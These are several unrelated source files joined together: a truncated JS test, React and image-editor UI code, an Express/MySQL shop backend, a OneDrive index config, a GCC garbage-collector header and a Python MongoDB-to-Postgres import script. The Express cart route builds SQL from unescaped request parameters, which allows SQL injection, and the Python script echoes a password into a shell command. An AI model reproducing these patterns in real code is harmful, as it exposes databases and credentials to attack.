false', () => { const article = { title: 'Test article', author: { name: 'Bob Goodfellow', nested: { item: 3, test: 2, }, }, }; const errors = shape.validate(article); console.log(errors); expect(errors.length).toBe(1); }); });
import React, { PropTypes } from 'react'; import { toTitleCase } from '../../../utils'; import { giType } from '../../../config'; import { LabelWrapper, Label, } from './styled-components'; const GiLabel = ({ type, giValueDisplay, large }) => { const thisType = type || giType(giValueDisplay); let label = toTitleCase(thisType); // trim 'Medium' to 'Med' label = (label === 'Medium') ? 'Med' : label; return ( <LabelWrapper type={thisType} large={large}> <Label> {label} </Label> <Label> {giValueDisplay} </Label> </LabelWrapper> ); }; GiLabel.propTypes = { type: PropTypes.string, giValueDisplay: PropTypes.number, }; export default GiLabel;
//引入express模块 const express=require("express"); //引入cors模块 const cors=require("cors"); const multer=require("multer"); const fs=require("fs"); // 创建连接池 const mysql=require("mysql"); pool=mysql.createPool({ host:'127.0.0.1', user:"root", password:"", database:"hy", connectionLimit: 10 }); // 创建express对象 var server=express(); //监听3000端口 server.listen(3000); //3.2 配置静态资源目录 public server.use(express.static("public")) //3.3配置中间件 const bodyParser=require("body-parser") server.use(bodyParser.urlencoded({ extended:false })) //3.4配置允许访问列表 server.use(cors({ origin:["http://127.0.0.1:8080","http://localhost:8080"], credentials:true })) // 3.41加载模块 express-session'\ const session=require("express-session"); server.use(session({// 3.42配置模块 secret:"128位随机字符串", resave:false, saveUninitialized:true, cookie:{ maxAge:1000*60*60 } })) // app.js // 1.微信小程序首页轮播图 server.get("/home",(req,res)=>{ var sql="select hid,hname,title,price,img,stock from hy_home"; pool.query(sql,(err,result)=>{ if(err) throw err; res.send({code:1,data:result}) }) }) //2.微信小程序首页鲜花内容 server.get("/flower",(req,res)=>{ var sql="select hid,hname,price,title,img,stock from hy_home_content"; pool.query(sql,(err,result)=>{ if(err)throw err; res.send({code:1,data:result}); }) }) //3.微信小程序详情页鲜花内容 根据id查询 server.get("/pages",(req,res)=>{ var hid=req.query.hid; var sql="select hid,hname,price,title,img,stock from hy_home_content where hid=?"; pool.query(sql,[hid],(err,result)=>{ if(err)throw err; res.send({code:1,data:result}); }) }) // 4.详情分页 server.get('/listXianhua',(req,res)=>{ var pno = req.query.pno; var pageSize = req.query.pageSize; //2:设置默认值 1 7 if(!pno){ pno = 1; } if(!pageSize){ pageSize = 6; } var offset = (pno-1)*pageSize; pageSize = parseInt(pageSize); var sql="select * from hy_home_content LIMIT ?,?" pool.query(sql,[offset,pageSize],(err,result)=>{ if(err)throw err; res.send({code:1,data:result}) }) }) //5.微信小程序查询销量 server.get("/xiaoliang",(req,res)=>{ var pno = req.query.pno; var pageSize = req.query.pageSize; //2:设置默认值 1 6 if(!pno){ pno = 1; } if(!pageSize){ pageSize = 6; } var offset = (pno-1)*pageSize; pageSize = parseInt(pageSize); // sql语句降序查询查询销量 var sql="select hid,hname,price,title,img,stock from hy_home_content ORDER BY stock DESC LIMIT ?,?"; pool.query(sql,[offset,pageSize],(err,result)=>{ if(err)throw err; res.send({code:1,data:result}); }) }) // 6.查询价格升序 server.get("/jiagejia",(req,res)=>{ var pno = req.query.pno; var pageSize = req.query.pageSize; //2:设置默认值 1 6 if(!pno){ pno = 1; } if(!pageSize){ pageSize = 6; } var offset = (pno-1)*pageSize; pageSize = parseInt(pageSize); // sql语句降序查询查询销量 var sql="select hid,hname,price,title,img,stock from hy_home_content ORDER BY price ASC LIMIT ?,?"; pool.query(sql,[offset,pageSize],(err,result)=>{ if(err)throw err; res.send({code:1,data:result}); }) }) //7.查询价格降序 server.get("/jiagejian",(req,res)=>{ var pno = req.query.pno; var pageSize = req.query.pageSize; //2:设置默认值 1 6 if(!pno){ pno = 1; } if(!pageSize){ pageSize = 6; } var offset = (pno-1)*pageSize; pageSize = parseInt(pageSize); // sql语句降序查询查询销量 var sql="select hid,hname,price,title,img,stock from hy_home_content ORDER BY price DESC LIMIT ?,?"; pool.query(sql,[offset,pageSize],(err,result)=>{ if(err)throw err; res.send({code:1,data:result}); }) }) //8.新品 内容 server.get("/xinpin",(req,res)=>{ var nid=req.query.nid; var sql="select hid,hname,price,title,img,stock from hy_home_content where nid=?"; pool.query(sql,[nid],(err,result)=>{ if(err)throw err; res.send({code:1,data:result}); }) }) // 9.加入购物车 server.get("/jiarugouwuche",(req,res)=>{ var lid=1; var hid=req.query.hid; var sname=req.query.hname; var price=req.query.price; var img=req.query.img; // 创建sql语句 查询是否有这个商品 var sql="select sid from hy_shopcart where hid=? AND lid=?"; pool.query(sql,[hid,lid],(err,result)=>{ if(err)throw err; console.log(hid+""+sname+""+price+""+img) //如果没有就加入 if(result==0){ var sql=`insert into hy_shopcart values(null,'${sname}','${price}','${img}',${hid},${lid},1,0)`; }else{ // 否则就把商品数量加一 var sql=`update hy_shopcart set count=count+1 where hid=${hid} AND lid=${lid}` } pool.query(sql,(err,result)=>{ if(err) throw err; res.send({code:1,msg:"添加成功"}) }) }) }) // 购物车请求数据 server.get("/shopCart",(req,res)=>{ var uid=1 var sql="select * from hy_shopcart" pool.query(sql,(err,result)=>{ if(err)throw err; res.send({code:1,data:result}) }) }) //删除购物车商品 server.get("/shanchu",(req,res)=>{ var sid=req.query.sid console.log(sid) var sql="delete from hy_shopcart where sid=?"; pool.query(sql,[sid],(err,result)=>{ res.send({code:1,msg:"删除成功"}) }) }) //功能十五小程序添加美食功能 server.get("/savePriduct",(req,res)=>{ var dname=req.query.dname; var ctime=req.query.ctime; // 创建 var sql="insert into xz_shoplist values(null,'1.png',?,'123456','bj',?,98)"; // 执行 pool.query(sql,[dname,ctime],(err,result)=>{ if(err)throw err; res.send({code:1,msg:"添加成功"}) }) }) //功能十六:小程序上传图片 //加载multer模块 //创建模块对象 var upload=multer({dest:"upload/"}); //接收post请求 server.post("/uploadFile",upload.single("mypic"),(req,res)=>{ //创建新文件名 var src=req.file.originalname; //原文件名 //获取原文件后缀 var i3=src.lastIndexOf("."); var suff=src.substring(i3); //截取i3之后的字符串 var ft=new Date().getTime(); var fr=Math.floor(Math.random()*9999); //新文件名 防止重名 时间 四个随机数 原文件后缀名 var des=ft+fr+suff; var newFile=__dirname+"/public/upload/"+des; //将临时文件移动到upload目录下并且该文件名为创建新文件名 fs.renameSync(req.file.path,newFile); //假设登录用户uid=1; //创建sql语句更新头像 var sql="update xz_info set avatar=? where uid=?"; pool.query(sql,[des,1],(err,result)=>{ if(err) throw err; //返回消息 上传文件成功 res.send({code:1,msg:"上传成功"}) }) }); //功能十七:小程序-商品搜索 server.get("/search",(req,res)=>{ //1:获取参数并且默认值 var pno = req.query.pno; var pageSize = req.query.pageSize; var key = req.query.key; if(!pno){pno=1} if(!pageSize){pageSize=4} //2:创建sql var sql = "SELECT lid,title,price"; sql+=" FROM xz_laptop"; sql+=" WHERE title LIKE concat('%',?,'%')"; sql+=" LIMIT ?,?"; var offset = (pno-1)*pageSize; pageSize = parseInt(pageSize); pool.query(sql,[key,offset,pageSize],(err,result)=>{ if(err)throw err; res.send({code:1,data:result}) }) //3:返回值 json })
/* eslint-disable no-irregular-whitespace */ const config = { /** * Configure the account/resource type for deployment (with 0 or 1) * - accountType: controls account type, 0 for global, 1 for china (21Vianet) * - driveType: controls drive resource type, 0 for onedrive, 1 for sharepoint document * * Followed keys is used for sharepoint resource, change them only if you gonna use sharepoint * - hostName: sharepoint site hostname (e.g. 'name.sharepoint.com') * - sitePath: sharepoint site path (e.g. '/sites/name') * !Note: we do not support deploying onedrive & sharepoint at the same time */ type: { accountType: 0, driveType: 0, hostName: null, sitePath: null }, refresh_token: REFRESH_TOKEN, client_id: '6600e358-9328-4050-af82-0af9cdde796b', client_secret: CLIENT_SECRET, /** * Exactly the same `redirect_uri` in your Azure Application */ redirect_uri: 'http://localhost', /** * The base path for indexing, all files and subfolders are public by this tool. For example: `/Public`. */ base: '/Public', /** * Feature: Pagination when a folder has multiple(>${top}) files * - top: specify the page size limit of the result set, a big `top` value will slow down the fetching speed */ pagination: { enable: true, top: 100 // default: 200, accepts a minimum value of 1 and a maximum value of 999 (inclusive) }, /** * Feature Caching * Enable Cloudflare cache for path pattern listed below. * Cache rules: * - Entire File Cache 0 < file_size < entireFileCacheLimit * - Chunked Cache entireFileCacheLimit <= file_size < chunkedCacheLimit * - No Cache ( redirect to OneDrive Server ) others * * Difference between `Entire File Cache` and `Chunked Cache` * * `Entire File Cache` requires the entire file to be transferred to the Cloudflare server before * the first byte sent to a client. * * `Chunked Cache` would stream the file content to the client while caching it. * But there is no exact Content-Length in the response headers. ( Content-Length: chunked ) * * `previewCache`: using CloudFlare cache to preview */ cache: { enable: true, entireFileCacheLimit: 10000000, // 10MB chunkedCacheLimit: 100000000, // 100MB previewCache: false, paths: ['/🥟%20Some%20test%20files/Previews'] }, /** * Feature: Thumbnail * Show a thumbnail of image by ?thumbnail=small (small, medium, large) * More details: https://docs.microsoft.com/en-us/onedrive/developer/rest-api/api/driveitem_list_thumbnails?view=odsp-graph-online#size-options * Example: https://storage.spencerwoo.com/🥟%20Some%20test%20files/Previews/eb37c02438f.png?thumbnail=mediumSquare * You can embed this link (url encoded) directly inside Markdown or HTML. */ thumbnail: true, /** * Small File Upload (<= 4MB) * POST https://<base_url>/<directory_path>/?upload=<filename>&key=<secret_key> * The <secret_key> is defined by you */ upload: { enable: false, key: 'your_secret_key_here' }, /** * Feature: Proxy Download * Use Cloudflare as a relay to speed up download. (Especially in Mainland China) * Example: https://storage.spencerwoo.com/🥟%20Some%20test%20files/Previews/eb37c02438f.png?raw&proxied * You can also embed this link (url encoded) directly inside Markdown or HTML. */ proxyDownload: true, /** * Feature: Default Raw File * When the requested URL points to a file, defaults to returning the raw file, instead of showing preview. * When this option is enabled, one can use raw=0 or raw=false to show preview. */ defaultRawFile: true } // IIFE to set apiEndpoint & baseResource // eslint-disable-next-line no-unused-expressions !(function({ accountType, driveType, hostName, sitePath }) { config.apiEndpoint = { graph: accountType ? 'https://microsoftgraph.chinacloudapi.cn/v1.0' : 'https://graph.microsoft.com/v1.0', auth: accountType ? 'https://login.chinacloudapi.cn/common/oauth2/v2.0' : 'https://login.microsoftonline.com/common/oauth2/v2.0' } config.baseResource = driveType ? `/sites/${hostName}:${sitePath}` : '/me/drive' })(config.type) export default config
/* Garbage collection for the GNU compiler. Copyright (C) 1998-2021 Free Software Foundation, Inc. This file is part of GCC. GCC is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3, or (at your option) any later version. GCC is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with GCC; see the file COPYING3. If not see <http://www.gnu.org/licenses/>. */ #ifndef GCC_GGC_H #define GCC_GGC_H /* Symbols are marked with `ggc' for `gcc gc' so as not to interfere with an external gc library that might be linked in. */ /* Internal functions and data structures used by the GTY machinery, including the generated gt*.[hc] files. */ #include "gtype-desc.h" /* One of these applies its third parameter (with cookie in the fourth parameter) to each pointer in the object pointed to by the first parameter, using the second parameter. */ typedef void (*gt_note_pointers) (void *, void *, gt_pointer_operator, void *); /* One of these is called before objects are re-ordered in memory. The first parameter is the original object, the second is the subobject that has had its pointers reordered, the third parameter can compute the new values of a pointer when given the cookie in the fourth parameter. */ typedef void (*gt_handle_reorder) (void *, void *, gt_pointer_operator, void *); /* Used by the gt_pch_n_* routines. Register an object in the hash table. */ extern int gt_pch_note_object (void *, void *, gt_note_pointers); /* Used by the gt_pch_n_* routines. Register that an object has a reorder function. */ extern void gt_pch_note_reorder (void *, void *, gt_handle_reorder); /* generated function to clear caches in gc memory. */ extern void gt_clear_caches (); /* Mark the object in the first parameter and anything it points to. */ typedef void (*gt_pointer_walker) (void *); /* Structures for the easy way to mark roots. In an array, terminated by having base == NULL. */ struct ggc_root_tab { void *base; size_t nelt; size_t stride; gt_pointer_walker cb; gt_pointer_walker pchw; }; #define LAST_GGC_ROOT_TAB { NULL, 0, 0, NULL, NULL } /* Pointers to arrays of ggc_root_tab, terminated by NULL. */ extern const struct ggc_root_tab * const gt_ggc_rtab[]; extern const struct ggc_root_tab * const gt_ggc_deletable_rtab[]; extern const struct ggc_root_tab * const gt_pch_scalar_rtab[]; /* If EXPR is not NULL and previously unmarked, mark it and evaluate to true. Otherwise evaluate to false. */ #define ggc_test_and_set_mark(EXPR) \ ((EXPR) != NULL && ((void *) (EXPR)) != (void *) 1 && ! ggc_set_mark (EXPR)) #define ggc_mark(EXPR) \ do { \ const void *const a__ = (EXPR); \ if (a__ != NULL && a__ != (void *) 1) \ ggc_set_mark (a__); \ } while (0) /* Actually set the mark on a particular region of memory, but don't follow pointers. This function is called by ggc_mark_*. It returns zero if the object was not previously marked; nonzero if the object was already marked, or if, for any other reason, pointers in this data structure should not be traversed. */ extern int ggc_set_mark (const void *); /* Return 1 if P has been marked, zero otherwise. P must have been allocated by the GC allocator; it mustn't point to static objects, stack variables, or memory allocated with malloc. */ extern int ggc_marked_p (const void *); /* PCH and GGC handling for strings, mostly trivial. */ extern void gt_pch_n_S (const void *); extern void gt_ggc_m_S (const void *); /* End of GTY machinery API. */ /* Initialize the string pool. */ extern void init_stringpool (void); /* Initialize the garbage collector. */ extern void init_ggc (void); /* When true, identifier nodes are considered as GC roots. When false, identifier nodes are treated like any other GC-allocated object, and the identifier hash table is treated as a weak hash. */ extern bool ggc_protect_identifiers; /* Write out all GCed objects to F. */ extern void gt_pch_save (FILE *f); /* Allocation. */ /* The internal primitive. */ extern void *ggc_internal_alloc (size_t, void (*)(void *), size_t, size_t CXX_MEM_STAT_INFO) ATTRIBUTE_MALLOC; inline void * ggc_internal_alloc (size_t s CXX_MEM_STAT_INFO) { return ggc_internal_alloc (s, NULL, 0, 1 PASS_MEM_STAT); } extern size_t ggc_round_alloc_size (size_t requested_size); /* Allocates cleared memory. */ extern void *ggc_internal_cleared_alloc (size_t, void (*)(void *), size_t, size_t CXX_MEM_STAT_INFO) ATTRIBUTE_MALLOC; inline void * ggc_internal_cleared_alloc (size_t s CXX_MEM_STAT_INFO) { return ggc_internal_cleared_alloc (s, NULL, 0, 1 PASS_MEM_STAT); } /* Resize a block. */ extern void *ggc_realloc (void *, size_t CXX_MEM_STAT_INFO); /* Free a block. To be used when known for certain it's not reachable. */ extern void ggc_free (void *); extern void dump_ggc_loc_statistics (); /* Reallocator. */ #define GGC_RESIZEVEC(T, P, N) \ ((T *) ggc_realloc ((P), (N) * sizeof (T) MEM_STAT_INFO)) template<typename T> void finalize (void *p) { static_cast<T *> (p)->~T (); } template<typename T> inline bool need_finalization_p () { #if GCC_VERSION >= 4003 return !__has_trivial_destructor (T); #else return true; #endif } template<typename T> inline T * ggc_alloc (ALONE_CXX_MEM_STAT_INFO) { if (need_finalization_p<T> ()) return static_cast<T *> (ggc_internal_alloc (sizeof (T), finalize<T>, 0, 1 PASS_MEM_STAT)); else return static_cast<T *> (ggc_internal_alloc (sizeof (T), NULL, 0, 1 PASS_MEM_STAT)); } /* GGC allocation function that does not call finalizer for type that have need_finalization_p equal to true. User is responsible for calling of the destructor. */ template<typename T> inline T * ggc_alloc_no_dtor (ALONE_CXX_MEM_STAT_INFO) { return static_cast<T *> (ggc_internal_alloc (sizeof (T), NULL, 0, 1 PASS_MEM_STAT)); } template<typename T> inline T * ggc_cleared_alloc (ALONE_CXX_MEM_STAT_INFO) { if (need_finalization_p<T> ()) return static_cast<T *> (ggc_internal_cleared_alloc (sizeof (T), finalize<T>, 0, 1 PASS_MEM_STAT)); else return static_cast<T *> (ggc_internal_cleared_alloc (sizeof (T), NULL, 0, 1 PASS_MEM_STAT)); } template<typename T> inline T * ggc_vec_alloc (size_t c CXX_MEM_STAT_INFO) { if (need_finalization_p<T> ()) return static_cast<T *> (ggc_internal_alloc (c * sizeof (T), finalize<T>, sizeof (T), c PASS_MEM_STAT)); else return static_cast<T *> (ggc_internal_alloc (c * sizeof (T), NULL, 0, 0 PASS_MEM_STAT)); } template<typename T> inline T * ggc_cleared_vec_alloc (size_t c CXX_MEM_STAT_INFO) { if (need_finalization_p<T> ()) return static_cast<T *> (ggc_internal_cleared_alloc (c * sizeof (T), finalize<T>, sizeof (T), c PASS_MEM_STAT)); else return static_cast<T *> (ggc_internal_cleared_alloc (c * sizeof (T), NULL, 0, 0 PASS_MEM_STAT)); } inline void * ggc_alloc_atomic (size_t s CXX_MEM_STAT_INFO) { return ggc_internal_alloc (s PASS_MEM_STAT); } /* Call destructor and free the garbage collected memory. */ template <typename T> inline void ggc_delete (T *ptr) { ptr->~T (); ggc_free (ptr); } /* Allocate a gc-able string, and fill it with LENGTH bytes from CONTENTS. If LENGTH is -1, then CONTENTS is assumed to be a null-terminated string and the memory sized accordingly. */ extern const char *ggc_alloc_string (const char *contents, int length CXX_MEM_STAT_INFO); /* Make a copy of S, in GC-able memory. */ #define ggc_strdup(S) ggc_alloc_string ((S), -1 MEM_STAT_INFO) /* Invoke the collector. Garbage collection occurs only when this function is called, not during allocations. */ extern void ggc_collect (void); /* Return unused memory pages to the system. */ extern void ggc_trim (void); /* Assume that all GGC memory is reachable and grow the limits for next collection. */ extern void ggc_grow (void); /* Register an additional root table. This can be useful for some plugins. Does nothing if the passed pointer is NULL. */ extern void ggc_register_root_tab (const struct ggc_root_tab *); /* Read objects previously saved with gt_pch_save from F. */ extern void gt_pch_restore (FILE *f); /* Statistics. */ /* Print allocation statistics. */ extern void ggc_print_statistics (void); extern void stringpool_statistics (void); /* Heuristics. */ extern void init_ggc_heuristics (void); /* Report current heap memory use to stderr. */ extern void report_heap_memory_use (void); #define ggc_alloc_rtvec_sized(NELT) \ (rtvec_def *) ggc_internal_alloc (sizeof (struct rtvec_def) \ + ((NELT) - 1) * sizeof (rtx)) \ /* Memory statistics passing versions of some allocators. Too few of them to make gengtype produce them, so just define the needed ones here. */ inline struct rtx_def * ggc_alloc_rtx_def_stat (size_t s CXX_MEM_STAT_INFO) { return (struct rtx_def *) ggc_internal_alloc (s PASS_MEM_STAT); } inline union tree_node * ggc_alloc_tree_node_stat (size_t s CXX_MEM_STAT_INFO) { return (union tree_node *) ggc_internal_alloc (s PASS_MEM_STAT); } inline union tree_node * ggc_alloc_cleared_tree_node_stat (size_t s CXX_MEM_STAT_INFO) { return (union tree_node *) ggc_internal_cleared_alloc (s PASS_MEM_STAT); } inline gimple * ggc_alloc_cleared_gimple_statement_stat (size_t s CXX_MEM_STAT_INFO) { return (gimple *) ggc_internal_cleared_alloc (s PASS_MEM_STAT); } inline void gt_ggc_mx (const char *s) { ggc_test_and_set_mark (const_cast<char *> (s)); } inline void gt_pch_nx (const char *) { } inline void gt_ggc_mx (int) { } inline void gt_pch_nx (int) { } inline void gt_pch_nx (unsigned int) { } #endif
import forEach from 'tui-code-snippet/collection/forEach'; import Colorpicker from '@/ui/tools/colorpicker'; import Submenu from '@/ui/submenuBase'; import templateHtml from '@/ui/template/submenu/icon'; import { isSupportFileApi, assignmentForDestroy } from '@/util'; import { defaultIconPath, eventNames, selectorNames } from '@/consts'; /** * Icon ui class * @class * @ignore */ class Icon extends Submenu { constructor(subMenuElement, { locale, makeSvgIcon, menuBarPosition, usageStatistics }) { super(subMenuElement, { locale, name: 'icon', makeSvgIcon, menuBarPosition, templateHtml, usageStatistics, }); this.iconType = null; this._iconMap = {}; this._els = { registerIconButton: this.selector('.tie-icon-image-file'), addIconButton: this.selector('.tie-icon-add-button'), iconColorpicker: new Colorpicker(this.selector('.tie-icon-color'), { defaultColor: '#ffbb3b', toggleDirection: this.toggleDirection, usageStatistics: this.usageStatistics, }), }; this.colorPickerInputBox = this._els.iconColorpicker.colorpickerElement.querySelector( selectorNames.COLOR_PICKER_INPUT_BOX ); } /** * Destroys the instance. */ destroy() { this._removeEvent(); this._els.iconColorpicker.destroy(); assignmentForDestroy(this); } /** * Add event for icon * @param {Object} actions - actions for icon * @param {Function} actions.registerCustomIcon - register icon * @param {Function} actions.addIcon - add icon * @param {Function} actions.changeColor - change icon color */ addEvent(actions) { const registerIcon = this._registerIconHandler.bind(this); const addIcon = this._addIconHandler.bind(this); this.eventHandler = { registerIcon, addIcon, }; this.actions = actions; this._els.iconColorpicker.on('change', this._changeColorHandler.bind(this)); this._els.registerIconButton.addEventListener('change', registerIcon); this._els.addIconButton.addEventListener('click', addIcon); this.colorPickerInputBox.addEventListener( eventNames.FOCUS, this._onStartEditingInputBox.bind(this) ); this.colorPickerInputBox.addEventListener( eventNames.BLUR, this._onStopEditingInputBox.bind(this) ); } /** * Remove event * @private */ _removeEvent() { this._els.iconColorpicker.off(); this._els.registerIconButton.removeEventListener('change', this.eventHandler.registerIcon); this._els.addIconButton.removeEventListener('click', this.eventHandler.addIcon); this.colorPickerInputBox.removeEventListener( eventNames.FOCUS, this._onStartEditingInputBox.bind(this) ); this.colorPickerInputBox.removeEventListener( eventNames.BLUR, this._onStopEditingInputBox.bind(this) ); } /** * Clear icon type */ clearIconType() { this._els.addIconButton.classList.remove(this.iconType); this.iconType = null; } /** * Register default icon */ registerDefaultIcon() { forEach(defaultIconPath, (path, type) => { this.actions.registerDefaultIcons(type, path); }); } /** * Set icon picker color * @param {string} iconColor - rgb color string */ setIconPickerColor(iconColor) { this._els.iconColorpicker.color = iconColor; } /** * Returns the menu to its default state. */ changeStandbyMode() { this.clearIconType(); this.actions.cancelAddIcon(); } /** * Change icon color * @param {string} color - color for change * @private */ _changeColorHandler(color) { color = color || 'transparent'; this.actions.changeColor(color); } /** * Change icon color * @param {object} event - add button event object * @private */ _addIconHandler(event) { const button = event.target.closest('.tui-image-editor-button'); if (button) { const iconType = button.getAttribute('data-icontype'); const iconColor = this._els.iconColorpicker.color; this.actions.discardSelection(); this.actions.changeSelectableAll(false); this._els.addIconButton.classList.remove(this.iconType); this._els.addIconButton.classList.add(iconType); if (this.iconType === iconType) { this.changeStandbyMode(); } else { this.actions.addIcon(iconType, iconColor); this.iconType = iconType; } } } /** * register icon * @param {object} event - file change event object * @private */ _registerIconHandler(event) { let imgUrl; if (!isSupportFileApi) { alert('This browser does not support file-api'); } const [file] = event.target.files; if (file) { imgUrl = URL.createObjectURL(file); this.actions.registerCustomIcon(imgUrl, file); } } } export default Icon;
#!/usr/bin/env python """This script pulls completed subjects from the Scribe mongodb for Workflow 3, and writes these annotations, coordinates, and text to the workflow database. This data can be used to create training data for the CRF NLP machine learning process or as ground truth for the outupt of that process. The full process involves: - Pull down subjects from mongodb for Workflow 3 - Write business entity annotations to the Annotation, Coordinates, and Text_Value tables """ from subprocess import call import requests import configparser import json import csv import ndjson import math import psycopg2 import psycopg2.extras from datetime import datetime def dbconnect(): """Connect to the validation database""" config = configparser.ConfigParser() config.read('../hitl.config') host = config.get('POSTGRES', 'Host') user = config.get('POSTGRES', 'User') pw = config.get('POSTGRES', 'Password') port = config.get('POSTGRES', 'Port') dbs = config.get('POSTGRES', 'Database') #fire up the database connection conn = psycopg2.connect("dbname='{0}' user='{1}' host='{2}' password='{3}'".format(dbs, user, host, pw)) cur = conn.cursor(cursor_factory = psycopg2.extras.RealDictCursor) return cur, conn def groupSubjects(listings): """Group business entities by business listing mongo id""" grouped = {} for l in listings: if l['parent_subject_id']['$oid'] in grouped: grouped[l['parent_subject_id']['$oid']].append(l) else: grouped[l['parent_subject_id']['$oid']] = [l] return grouped def getParentId(subjects, id): """Get parent listing id for the annotation coordinates and values""" for s in subjects: if s['_id']['$oid'] == id: parent_id = s['meta_data']['id'] if s['classification_count'] > 2 and s['status'] == 'retired': inactive = True else: inactive = False return (parent_id, inactive) def getTranscription(subjects, id): """Get corresponding transcription for a business entity coordinates""" transcription = None type_map = {'yp3_transcribed_business_name':'business name', 'yp3_transcribed_business_address':'address', 'yp3_transcribed_phone_number': 'phone number', 'yp3_transcribed_see_advertisement': 'see advertisement', 'yp3_transcribed_other': 'other information', 'yp3_described_graphic': 'graphic'} for s in subjects: if 'parent_subject_id' in s: if s['parent_subject_id']['$oid'] == id: transcription = {} for t in type_map.keys(): if t == s['type']: key = t transcription['text'] = s['data']['values'][0]['value'] transcription['key'] = type_map[key] transcription['text_external_id'] = s['_id']['$oid'] return transcription def getEntities(subjects): """Get entity coordinates and text from mongo subjects""" type_map = {'yp3_business_name':'business name', 'yp3_business_address':'address', 'yp3_phone_number': 'phone number', 'yp3_see_advertisement': 'see advertisement', 'yp3_other': 'other information', 'yp3_graphic': 'graphic'} entity_types = [x for x in subjects if x['type'] in type_map.keys()] #group subjects by parent grouping grouped = groupSubjects(entity_types) #get data for listings and types (using 'listings' for short here) entities_by_listings = [] for k, v in grouped.items(): ebl = {} ebl['listing_mongo_id'] = k ebl['entities'] = [] for e in v: #get the parent listing id and see if it's inactive yet (i.e. all entities have been marked and transcribed) parent_id = getParentId(subjects, e['parent_subject_id']['$oid']) if parent_id[1] == True: entity = {} ebl['data_source_id'] = parent_id[0] entity['external_id'] = e['_id']['$oid'] entity['subject_type'] = type_map[e['type']] entity['x'] = float(e['data']['x']) entity['y'] = float(e['data']['y']) entity['height'] = float(e['data']['height']) entity['width'] = float(e['data']['width']) transcription = getTranscription(subjects, e['_id']['$oid']) if transcription is not None: entity['text'] = transcription['text'] entity['key'] = transcription['key'] entity['text_external_id'] = transcription['text_external_id'] ebl['entities'].append(entity) entities_by_listings.append(ebl) return entities_by_listings def writeToAnnotationTable(ebl): """Write set of listing entities from CS3 to Annotation table for use as training/verification data""" db = dbconnect() cur = db[0] conn = db[1] cs_task = 4 external_ids = tuple([x['external_id'] for x in ebl['entities']]) sql = """insert into "Annotation" (source_type, cs_task_id, data_source_id, created_at, subject_type) select 'business listing', %s, %s, %s, 'business listing entities' where not exists (select "external_id" from "Coordinates" where "external_id" in %s) returning id""" data = (cs_task, ebl['data_source_id'], datetime.now(), external_ids,) try: cur.execute(sql, data) except: conn.rollback() cur.execute(sql, data) rows = cur.fetchall() conn.commit() #if new entry, return this id if len(rows) > 0: id = rows[0]['id'] #otherwise query for the id based on external_id in Coordinates else: db = dbconnect() cur = db[0] conn = db[1] sql = """select distinct a."id" from "Annotation" a join "Coordinates" c on a."id" = c."annotation_id" where c."external_id" in %s;""" data = (external_ids,) try: cur.execute(sql, data) except: conn.rollback() cur.execute(sql, data) rows = cur.fetchall() conn.commit() id = rows[0]['id'] return id def writeToCoordinatesTable(entity, anno_id): """Write listings from CS2 to Coordinate table for use as data sources in CS3""" db = dbconnect() cur = db[0] conn = db[1] sql = """insert into "Coordinates" (x, y, width, height, external_id, annotation_id) values (%s, %s, %s, %s, %s, %s) on conflict (external_id) do nothing returning id;""" data = (entity['x'], entity['y'], entity['width'], entity['height'], entity['external_id'], anno_id,) try: cur.execute(sql, data) except: conn.rollback() cur.execute(sql, data) rows = cur.fetchall() conn.commit() #if new entry, return this id if len(rows) > 0: id = rows[0]['id'] #otherwise query for the id based on external_id else: db = dbconnect() cur = db[0] conn = db[1] sql = """select c."id" from "Coordinates" c where c."external_id" = %s;""" data = (entity['external_id'],) try: cur.execute(sql, data) except: conn.rollback() cur.execute(sql, data) rows = cur.fetchall() conn.commit() id = rows[0]['id'] return id def writeToTextValueTable(key, value, coordinates_id, external_id): """For business types, add the transcribed text to the Text_Value table""" db = dbconnect() cur = db[0] conn = db[1] sql = """insert into "Text_Value" (key, value, coordinates_id, external_id) values (%s, %s, %s, %s) on conflict (external_id) do nothing returning id;""" data = (key, value, coordinates_id, external_id) try: cur.execute(sql, data) except: conn.rollback() cur.execute(sql, data) rows = cur.fetchall() conn.commit() if __name__ == "__main__": #download subjects from mongodb in Workflow 2 to /exports folder config = configparser.ConfigParser() config.read('../hitl.config') pwd = config.get('MONGO', 'Password') cmd = 'mongoexport -h localhost --port=27023 -d loop_dev -c subjects -u loop_dev -o ../exports/yp3/subjects.ndjson --forceTableScan' call('echo {} | {}'.format(pwd, cmd), shell=True) subjects = ndjson.load(open('../exports/yp3/subjects.ndjson', 'r')) items = [{'id': 'gdcustel.usteledirec00004', 'key': 'Birmingham_1955', 'name': 'Birmingham, Alabama, 1955', 'year': '1955'}, {'id': 'usteledirec.usteledirec05650', 'key': 'Dubuque_1943', 'name': 'Dubuque, Iowa, 1943', 'year': '1943'}, {'id': 'gdcustel.usteledirec03932', 'key': 'Colorado_Springs_1954', 'name': 'Colorado Springs, Colorado, 1954', 'year': '1954'}, {'id': 'gdcustel.usteledirec04986x', 'key': 'Chicago_Czech_Slovak_1939', 'name': 'Chicago Czech and Slovak American, 1939', 'year': '1939'} ] #get all business entities from mongo, grouped by business listing entities = getEntities(subjects) #write entities as annotations to Annotation table for e in entities: if len(e['entities']) > 0: e['annotation_id'] = writeToAnnotationTable(e) #write entity coordinates to Coordinates table if not already there if 'annotation_id' in e: for ent in e['entities']: ent['coordinates_id'] = writeToCoordinatesTable(ent, e['annotation_id']) #write text of entities to Text_Value table writeToTextValueTable(ent['key'], ent['text'], ent['coordinates_id'], ent['text_external_id'])
